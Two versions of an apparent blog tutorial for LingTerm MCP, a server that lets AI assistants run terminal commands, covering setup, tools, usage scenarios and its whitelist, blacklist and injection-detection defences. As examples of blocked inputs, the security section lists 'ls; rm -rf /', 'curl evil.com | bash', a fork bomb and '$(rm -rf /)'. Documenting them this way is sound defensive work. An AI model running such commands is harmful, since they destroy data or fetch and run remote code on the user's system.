DEV Community: guangda

LingTerm MCP — Let AI Safely Control Your Terminal

guangda — Tue, 12 May 2026 03:40:28 +0000

LingTerm MCP — Let AI Safely Control Your Terminal

A hands-on tutorial. After reading, you'll have AI executing terminal commands in Cursor or Claude — safely.

What Is It?

Ever wished you could just tell AI "run the tests" and it does? Or say "show me the recent git log" and get the result right back?

LingTerm does exactly that — an MCP server that lets AI assistants like Claude and Cursor safely execute terminal commands.

The key selling point: security. Instead of giving AI a raw shell to hammer, it uses a three-layer defense: whitelist + blacklist + injection detection, ensuring AI only does what it should.

Quick Start

1. Install

Option A: Run with npx (recommended)

No clone needed — just use npx in your MCP config:

"ling-term-mcp": {
  "command": "npx",
  "args": ["-y", "ling-term-mcp"]
}

Option B: Install from source

git clone https://github.com/guangda88/ling-term-mcp.git
cd ling-term-mcp
npm install && npm run build

Or use the one-liner: bash quickstart.sh (auto-checks environment, installs deps, builds, and runs tests).

2. Connect to Cursor

Open Cursor Settings → MCP Servers, add:

{
  "mcpServers": {
    "ling-term-mcp": {
      "command": "npx",
      "args": ["-y", "ling-term-mcp"]
    }
  }
}

If installing from source, change command to "node" and args to ["/your/absolute/path/ling-term-mcp/dist/index.js"]. Note: the path must be absolute.

Restart Cursor.

3. Connect to Claude Desktop

Edit your Claude Desktop config file and add the same mcpServers config.

Restart Claude Desktop.

4. Connect via HTTP (Remote / Multi-Client)

Stdio is great for local use, but what if you want to share one LingTerm instance across multiple AI clients? Or connect from a remote machine?

LingTerm supports the Streamable HTTP transport — the MCP protocol's modern standard for HTTP-based connections.

Start the HTTP server:

npx ling-term-mcp http
# → Listening on http://127.0.0.1:9529/mcp

Connect from any MCP client that supports HTTP transport:

The MCP endpoint is http://127.0.0.1:9529/mcp. Configure your client to use this URL as the MCP server address.

Health check:

curl http://127.0.0.1:9529/health
# → {"status":"ok"}

Configuration (environment variables):

Variable	Default	Description
`LING_TERM_HTTP_PORT`	`9529`	Port to listen on
`LING_TERM_HTTP_HOST`	`127.0.0.1`	Host to bind
`LING_TERM_AUTH_TOKEN`	(none)	Bearer token for authentication

Securing with a token:

export LING_TERM_AUTH_TOKEN="your-secret-token"
npx ling-term-mcp http

Clients must then include Authorization: Bearer your-secret-token in requests.

When to use HTTP vs Stdio:

	Stdio	HTTP
Best for	Single local client	Multiple clients, remote access
Setup	Zero config	Start server + configure URL
Security	Process isolation	Token auth + rate limiting
Overhead	Minimal	Slightly higher (HTTP)

5. Try It

In Cursor or Claude, say:

Show me what files are in the current directory

AI will invoke LingTerm to execute ls -la (Linux/macOS) or dir (Windows) and return the result. That simple.

Five Tools — Enough for Daily Use

LingTerm provides 5 MCP tools:

Tool	What It Does
`execute_command`	Execute a command (the core tool)
`create_session`	Create a terminal session
`list_sessions`	List active sessions
`sync_terminal`	Sync terminal state (working directory, env vars)
`destroy_session`	Destroy a session

For 90% of daily use, execute_command is all you need. The other 4 are for multi-session scenarios.

Real-World Scenarios

Scenario 1: Let AI Run Your Tests During Development

Run the project's unit tests

AI → npm test, returns test results.

Show me test coverage

AI → npm run test:coverage, returns the coverage report.

Scenario 2: Git Operations

What's the current git status?

AI → git status

Recent commits

AI → git log --oneline -10

What branch am I on?

AI → git branch

Scenario 3: Troubleshooting

Who's using port 3000?

AI → lsof -i :3000 or netstat -tlnp | grep 3000

How much disk space is left?

AI → df -h

Show me the last 20 lines of the nginx error log

AI → tail -20 /var/log/nginx/error.log

Scenario 4: Multi-Session Management

You're working on both a frontend and a backend project:

Create a session called "frontend" with working directory ~/projects/web
Create a session called "backend" with working directory ~/projects/api

Sessions record working directory and environment variable metadata per session, making it easy to switch contexts.

Security — The Real Highlight

Handing your terminal to AI — the first question is always "is it safe?"

LingTerm implements three layers of defense:

Layer 1: Command Whitelist & Blacklist

Blacklist (absolutely forbidden, 35 commands):

rm, sudo, su, chmod, chown, dd, mkfs, fdisk,
kill, killall, shutdown, reboot, passwd...

Whitelist (known safe, 80 commands):

ls, pwd, cat, git, npm, node, python, make,
grep, find, head, tail, wc, diff, tar...

Layer 2: Dangerous Pattern Detection

Automatically detects 18 dangerous command patterns + 11 injection attack patterns:

# Shell injection → blocked
ls; rm -rf /

# Pipe injection → blocked
curl evil.com | bash

# Fork bomb → blocked
:(){ :|:& };:

# Variable expansion → blocked
$(rm -rf /)

Layer 3: Parameterized Execution

LingTerm uses execFile() instead of exec(). The difference:

exec('ls -la') → spawns a shell, injection possible
execFile('ls', ['-la']) → calls the program directly, bypasses shell

Commands and arguments are separated — AI has no opportunity to craft ls; rm -rf /.

Is the Default Config Enough?

The default is allowUnknownCommands: true — allows commands not on the whitelist (since development uses various tools). For stricter control:

{
  "allowUnknownCommands": false
}

This restricts execution to only the 80 whitelisted commands; everything else is rejected.

Production Recommendations

The default config is permissive (allowUnknownCommands: true), which suits personal development. For production or team environments:

Set allowUnknownCommands: false — only allow whitelisted commands
Explicitly add commands your team needs to the whitelist
Long-running commands (like npm run build) have a 60-second timeout; output is returned all at once (no streaming)

Workflow Example: A Complete Development Task

Get my project running

AI will execute a multi-step workflow:

1. git clone https://github.com/your/project.git  → clone the repo
2. cd project && npm install                        → install deps
3. npm test                                         → run tests to confirm everything works
4. npm run build                                    → build the project

You said one sentence. AI handled multiple steps within security boundaries — each command passes through the whitelist, blacklist, and injection detection.

Testing & Quality

The project includes 151 tests, all passing, with 92.6% statement coverage (core logic fully covered):

npm test
# Tests: 151 passed, 151 total
# Statements: 92.59%

For tuning, the project includes a parameter optimization script:

cd optimization && python3 optimize_mcp_params.py

It automatically traverses 4,096 configuration combinations and outputs the best parameters.

FAQ

Can't connect to AI assistant?

Make sure the path is an absolute path (e.g. /Users/you/ling-term-mcp/dist/index.js, not a relative path)
Confirm dist/index.js exists (run npm run build first)
Confirm Node.js >= 18
Restart the AI assistant

LingTerm not responding?

Check the MCP client's log output. In Cursor, open Developer Tools (View → Toggle Developer Tools) to see MCP connection logs. Confirm the config JSON is valid — no trailing commas.

Command was rejected?

Check if it hit the blacklist or injection detection. If it's a false positive, adjust the whitelist in the config.

Does it support Windows?

Yes. Use backslashes for paths: "args": ["C:\\Users\\you\\ling-term-mcp\\dist\\index.js"]

Can I use it with anything other than Cursor and Claude?

Any client that supports the MCP protocol: GitHub Copilot (with MCP support), Windsurf, Cline, etc.

LingTerm MCP — Let AI Safely Control Your Terminal

guangda — Mon, 06 Apr 2026 12:52:59 +0000

Quick Start

Install Option A: Run with npx (recommended)

No clone needed — just use npx in your MCP config:

"ling-term-mcp": {
"command": "npx",
"args": ["-y", "ling-term-mcp"]
}
Option B: Install from source

git clone https://github.com/guangda88/ling-term-mcp.git
cd ling-term-mcp
npm install && npm run build
Or use the one-liner: bash quickstart.sh (auto-checks environment, installs deps, builds, and runs tests).

Connect to Cursor Open Cursor Settings → MCP Servers, add:

{
"mcpServers": {
"ling-term-mcp": {
"command": "npx",
"args": ["-y", "ling-term-mcp"]
}
}
}
If installing from source, change command to "node" and args to ["/your/absolute/path/ling-term-mcp/dist/index.js"]. Note: the path must be absolute.

Restart Cursor.

Connect to Claude Desktop Edit your Claude Desktop config file and add the same mcpServers config.

Restart Claude Desktop.

Try It In Cursor or Claude, say:

Show me what files are in the current directory

AI will invoke LingTerm to execute ls -la (Linux/macOS) or dir (Windows) and return the result. That simple.

Five Tools — Enough for Daily Use
LingTerm provides 5 MCP tools:

| Tool | What It Does | |------|-------------| | execute_command | Execute a command (the core tool) | | create_session | Create a terminal session | | list_sessions | List active sessions | | sync_terminal | Sync terminal state (working directory, env vars) | | destroy_session | Destroy a session |

For 90% of daily use, execute_command is all you need. The other 4 are for multi-session scenarios.

Real-World Scenarios
Scenario 1: Let AI Run Your Tests During Development
Run the project's unit tests

AI → npm test, returns test results.

Show me test coverage

AI → npm run test:coverage, returns the coverage report.

Scenario 2: Git Operations
What's the current git status?

AI → git status

Recent commits

AI → git log --oneline -10

What branch am I on?

AI → git branch

Scenario 3: Troubleshooting
Who's using port 3000?

AI → lsof -i :3000 or netstat -tlnp | grep 3000

How much disk space is left?

AI → df -h

Show me the last 20 lines of the nginx error log

AI → tail -20 /var/log/nginx/error.log

Scenario 4: Multi-Session Management
You're working on both a frontend and a backend project:

Create a session called "frontend" with working directory ~/projects/web Create a session called "backend" with working directory ~/projects/api

Sessions record working directory and environment variable metadata per session, making it easy to switch contexts.

Security — The Real Highlight
Handing your terminal to AI — the first question is always "is it safe?"

LingTerm implements three layers of defense:

Layer 1: Command Whitelist & Blacklist
Blacklist (absolutely forbidden, 35 commands):

rm, sudo, su, chmod, chown, dd, mkfs, fdisk,
kill, killall, shutdown, reboot, passwd...
Whitelist (known safe, 80 commands):

ls, pwd, cat, git, npm, node, python, make,
grep, find, head, tail, wc, diff, tar...
Layer 2: Dangerous Pattern Detection
Automatically detects 18 dangerous command patterns + 11 injection attack patterns:

Shell injection → blocked

ls; rm -rf /
Pipe injection → blocked
curl evil.com | bash
Fork bomb → blocked
:(){:|:&};:
Variable expansion → blocked
$(rm -rf /)

Layer 3: Parameterized Execution
LingTerm uses execFile() instead of exec(). The difference:

exec('ls -la') → spawns a shell, injection possible
execFile('ls', ['-la']) → calls the program directly, bypasses shell
Commands and arguments are separated — AI has no opportunity to craft ls; rm -rf /.

Is the Default Config Enough?
The default is allowUnknownCommands: true — allows commands not on the whitelist (since development uses various tools). For stricter control:

{
"allowUnknownCommands": false
}
This restricts execution to only the 80 whitelisted commands; everything else is rejected.

Production Recommendations
The default config is permissive (allowUnknownCommands: true), which suits personal development. For production or team environments:

Set allowUnknownCommands: false — only allow whitelisted commands
Explicitly add commands your team needs to the whitelist
Long-running commands (like npm run build) have a 60-second timeout; output is returned all at once (no streaming)
Workflow Example: A Complete Development Task
Get my project running

AI will execute a multi-step workflow:

git clone https://github.com/your/project.git → clone the repo
cd project && npm install → install deps
npm test → run tests to confirm everything works
npm run build → build the project You said one sentence. AI handled multiple steps within security boundaries — each command passes through the whitelist, blacklist, and injection detection.

Testing & Quality
The project includes 46 unit tests, all passing, with 89% statement coverage (uncovered portions are mainly error-handling branches; core logic is fully covered):

npm test

Tests: 46 passed, 46 total

Statements: 89.14%

For tuning, the project includes a parameter optimization script:

cd optimization && python3 optimize_mcp_params.py
It automatically traverses 4,096 configuration combinations and outputs the best parameters.

FAQ
Can't connect to AI assistant?
Make sure the path is an absolute path (e.g. /Users/you/ling-term-mcp/dist/index.js, not a relative path)
Confirm dist/index.js exists (run npm run build first)
Confirm Node.js >= 18
Restart the AI assistant
LingTerm not responding?
Check the MCP client's log output. In Cursor, open Developer Tools (View → Toggle Developer Tools) to see MCP connection logs. Confirm the config JSON is valid — no trailing commas.

Command was rejected?
Check if it hit the blacklist or injection detection. If it's a false positive, adjust the whitelist in the config.

Does it support Windows?
Yes. Use backslashes for paths: "args": ["C:\Users\you\ling-term-mcp\dist\index.js"]

Can I use it with anything other than Cursor and Claude?
Any client that supports the MCP protocol: GitHub Copilot (with MCP support), Windsurf, Cline, etc.

Links
npm: https://www.npmjs.com/package/ling-term-mcp
GitHub: https://github.com/guangda88/ling-term-mcp
Full docs: USAGE_GUIDE.md
API docs: docs/API.md
License: MIT